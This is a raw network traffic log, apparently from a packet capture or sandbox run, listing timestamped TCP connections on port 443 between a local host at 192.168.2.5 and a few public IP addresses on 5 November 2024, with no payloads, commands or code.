Nov 5, 2024 22:44:22.967768908 CET	443	49845	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.967833996 CET	443	49845	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.967901945 CET	49845	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.968106985 CET	49845	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.968113899 CET	443	49845	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.968122959 CET	49845	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.968127012 CET	443	49845	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.968991995 CET	443	49844	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:22.969073057 CET	49844	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:22.969626904 CET	443	49844	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:22.969696045 CET	49844	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:22.970876932 CET	49852	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.970920086 CET	443	49852	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.970997095 CET	49852	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.971030951 CET	49844	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:22.971040964 CET	443	49844	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:22.971169949 CET	49852	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:22.971184969 CET	443	49852	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:22.971247911 CET	443	49844	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:22.971297979 CET	49844	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:22.971637964 CET	49844	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:23.019330025 CET	443	49844	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:23.073687077 CET	443	49847	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.073956013 CET	443	49847	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.074013948 CET	49847	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.074649096 CET	443	49846	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.075031996 CET	443	49848	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:23.075095892 CET	49848	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:23.075987101 CET	49847	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.075995922 CET	443	49847	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.076004028 CET	49847	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.076008081 CET	443	49847	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.078211069 CET	443	49846	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.078262091 CET	49846	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.078694105 CET	49848	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:23.078700066 CET	443	49848	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:23.078900099 CET	443	49848	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:23.078949928 CET	49848	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:23.079266071 CET	49848	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:23.079715967 CET	49846	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.079724073 CET	443	49846	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.079731941 CET	49846	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.079735041 CET	443	49846	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.081960917 CET	49855	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.081980944 CET	443	49855	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.082041025 CET	49855	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.082145929 CET	49855	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.082155943 CET	443	49855	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.083471060 CET	49856	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.083477974 CET	443	49856	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.083532095 CET	49856	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.083844900 CET	49856	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.083848000 CET	443	49856	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.087033987 CET	443	49850	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.087359905 CET	49850	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.087384939 CET	443	49850	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.087758064 CET	49850	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.087764025 CET	443	49850	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.119333982 CET	443	49848	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:23.208022118 CET	443	49851	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.208782911 CET	49851	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.208797932 CET	443	49851	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.209302902 CET	49851	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.209309101 CET	443	49851	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.283668041 CET	443	49843	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:23.283735037 CET	49843	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:23.283756018 CET	443	49843	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:23.283813000 CET	49843	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:23.283999920 CET	49843	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:23.284029961 CET	443	49843	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:23.284076929 CET	49843	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:23.284790039 CET	49857	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:23.284832001 CET	443	49857	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:23.284890890 CET	49857	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:23.285226107 CET	49857	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:23.285242081 CET	443	49857	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:23.330566883 CET	443	49842	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:23.330622911 CET	49842	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:23.330641031 CET	443	49842	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:23.330682039 CET	49842	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:23.331105947 CET	443	49842	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:23.331154108 CET	49842	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:23.331157923 CET	443	49842	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:23.331191063 CET	49842	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:23.331554890 CET	49842	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:23.331600904 CET	443	49842	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:23.331653118 CET	49842	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:23.332226992 CET	49858	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:23.332252026 CET	443	49858	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:23.332305908 CET	49858	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:23.332559109 CET	49858	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:23.332571983 CET	443	49858	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:23.336128950 CET	443	49851	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.336446047 CET	443	49851	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.336496115 CET	49851	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.336771965 CET	49851	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.336781025 CET	443	49851	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.336791992 CET	49851	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.336796999 CET	443	49851	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.339771986 CET	49859	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.339808941 CET	443	49859	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.339876890 CET	49859	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.340030909 CET	49859	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.340045929 CET	443	49859	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.344305038 CET	443	49844	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:23.344361067 CET	49844	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:23.344382048 CET	443	49844	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:23.344418049 CET	49844	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:23.344508886 CET	49844	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:23.344546080 CET	443	49844	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:23.344589949 CET	49844	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:23.345010042 CET	49860	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:23.345031023 CET	443	49860	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:23.345098019 CET	49860	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:23.345325947 CET	49860	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:23.345336914 CET	443	49860	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:23.380630970 CET	443	49850	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.380700111 CET	443	49850	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.380750895 CET	49850	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.380950928 CET	49850	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.380971909 CET	443	49850	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.380983114 CET	49850	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.380987883 CET	443	49850	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.383754015 CET	49861	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.383774996 CET	443	49861	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.383840084 CET	49861	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.384011030 CET	49861	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.384025097 CET	443	49861	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.509845018 CET	443	49848	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:23.509886980 CET	443	49848	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:23.510027885 CET	49848	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:23.510049105 CET	443	49848	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:23.510096073 CET	49848	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:23.510958910 CET	49848	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:23.510992050 CET	443	49848	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:23.511054039 CET	49848	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:23.511504889 CET	49862	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:23.511526108 CET	443	49862	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:23.511600971 CET	49862	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:23.511838913 CET	49862	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:23.511850119 CET	443	49862	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:23.697895050 CET	443	49852	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.698518038 CET	49852	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.698539019 CET	443	49852	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.698995113 CET	49852	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.698998928 CET	443	49852	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.801105022 CET	443	49856	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.801707983 CET	49856	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.801726103 CET	443	49856	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.802304029 CET	49856	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.802309036 CET	443	49856	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.818120003 CET	443	49855	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.818463087 CET	49855	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.818470001 CET	443	49855	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.818859100 CET	49855	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.818864107 CET	443	49855	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.843539000 CET	443	49852	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.843700886 CET	443	49852	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.843816042 CET	49852	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.843842983 CET	49852	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.843861103 CET	443	49852	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.843874931 CET	49852	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.843880892 CET	443	49852	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.846632957 CET	49863	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.846666098 CET	443	49863	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.846739054 CET	49863	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.846852064 CET	49863	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.846864939 CET	443	49863	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.932816982 CET	443	49856	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.932859898 CET	443	49856	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.933003902 CET	49856	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.933162928 CET	49856	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.933171988 CET	443	49856	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.933181047 CET	49856	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.933185101 CET	443	49856	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.936079979 CET	49864	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.936109066 CET	443	49864	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.936213970 CET	49864	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.936335087 CET	49864	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.936347008 CET	443	49864	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.947226048 CET	443	49855	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.947293043 CET	443	49855	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.947345018 CET	49855	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.947499037 CET	49855	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.947504044 CET	443	49855	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.947521925 CET	49855	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.947525024 CET	443	49855	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.950573921 CET	49865	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.950596094 CET	443	49865	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:23.950654984 CET	49865	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.950799942 CET	49865	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:23.950814009 CET	443	49865	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.072873116 CET	443	49859	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.074182987 CET	49859	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.074197054 CET	443	49859	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.074625969 CET	49859	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.074630976 CET	443	49859	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.115997076 CET	443	49861	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.116729975 CET	49861	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.116753101 CET	443	49861	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.117162943 CET	49861	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.117166042 CET	443	49861	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.170196056 CET	443	49857	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:24.170272112 CET	49857	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.170835972 CET	443	49857	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:24.170892954 CET	49857	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.172539949 CET	49857	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.172547102 CET	443	49857	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:24.172749043 CET	443	49857	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:24.172801018 CET	49857	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.173203945 CET	49857	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.186877966 CET	443	49858	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:24.186947107 CET	49858	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:24.190025091 CET	49858	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:24.190032005 CET	443	49858	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:24.190375090 CET	443	49858	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:24.190427065 CET	49858	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:24.190778017 CET	49858	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:24.204408884 CET	443	49860	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:24.204479933 CET	49860	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.205229998 CET	443	49860	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:24.205287933 CET	49860	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.206890106 CET	49860	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.206899881 CET	443	49860	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:24.206911087 CET	443	49859	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.206980944 CET	443	49859	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.207032919 CET	49859	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.207133055 CET	443	49860	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:24.207181931 CET	49860	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.207210064 CET	49859	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.207230091 CET	443	49859	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.207240105 CET	49859	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.207246065 CET	443	49859	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.207572937 CET	49860	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.211293936 CET	49867	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.211316109 CET	443	49867	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.211380959 CET	49867	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.211512089 CET	49867	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.211519957 CET	443	49867	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.215328932 CET	443	49857	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:24.231333017 CET	443	49858	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:24.246267080 CET	443	49861	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.246402979 CET	443	49861	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.246459961 CET	49861	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.246484995 CET	49861	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.246500969 CET	443	49861	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.246519089 CET	49861	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.246525049 CET	443	49861	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.248629093 CET	49868	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.248646975 CET	443	49868	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.248878956 CET	49868	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.248991013 CET	49868	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.249001026 CET	443	49868	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.251331091 CET	443	49860	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:24.373183012 CET	443	49862	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:24.373384953 CET	49862	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:24.374977112 CET	49862	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:24.374985933 CET	443	49862	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:24.375206947 CET	443	49862	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:24.375267029 CET	49862	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:24.375545979 CET	49862	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:24.419332981 CET	443	49862	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:24.537693024 CET	443	49857	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:24.537756920 CET	49857	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.537780046 CET	443	49857	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:24.537864923 CET	49857	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.537957907 CET	49857	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.537993908 CET	443	49857	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:24.538073063 CET	49857	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.538705111 CET	49869	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.538728952 CET	443	49869	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:24.538790941 CET	49869	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.538983107 CET	49869	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.538992882 CET	443	49869	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:24.566598892 CET	443	49863	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.567208052 CET	49863	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.567217112 CET	443	49863	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.567814112 CET	49863	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.567820072 CET	443	49863	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.580091000 CET	443	49860	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:24.580156088 CET	49860	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.580169916 CET	443	49860	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:24.580212116 CET	49860	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.580298901 CET	49860	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.580329895 CET	443	49860	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:24.580382109 CET	49860	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.581140995 CET	49870	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.581175089 CET	443	49870	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:24.581240892 CET	49870	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.581485987 CET	49870	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:24.581495047 CET	443	49870	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:24.604331017 CET	443	49858	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:24.604397058 CET	49858	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:24.604414940 CET	443	49858	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:24.604470968 CET	49858	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:24.604896069 CET	443	49858	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:24.604952097 CET	49858	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:24.604958057 CET	443	49858	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:24.605003119 CET	49858	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:24.605308056 CET	49858	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:24.605353117 CET	443	49858	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:24.605535984 CET	443	49858	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:24.605585098 CET	49858	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:24.605607033 CET	49858	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:24.606025934 CET	49871	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:24.606061935 CET	443	49871	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:24.606127977 CET	49871	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:24.606293917 CET	49871	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:24.606311083 CET	443	49871	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:24.679442883 CET	443	49864	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.683017015 CET	49864	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.683038950 CET	443	49864	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.683526993 CET	49864	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.683532000 CET	443	49864	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.694197893 CET	443	49863	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.694257021 CET	443	49863	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.694319963 CET	49863	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.694590092 CET	49863	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.694612980 CET	443	49863	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.694624901 CET	49863	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.694631100 CET	443	49863	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.694992065 CET	443	49865	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.695425034 CET	49865	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.695449114 CET	443	49865	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.696027040 CET	49865	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.696033955 CET	443	49865	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.697788954 CET	49872	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.697799921 CET	443	49872	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.697889090 CET	49872	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.698007107 CET	49872	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:24.698016882 CET	443	49872	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:24.781321049 CET	443	49862	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:24.781373024 CET	443	49862	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:24.781474113 CET	49862	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:24.781486034 CET	443	49862	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:24.781531096 CET	49862	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:24.785202026 CET	49862	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:24.785233021 CET	443	49862	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:24.785304070 CET	49862	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:24.785831928 CET	49873	443	192.168.2.5	142.250.186.65
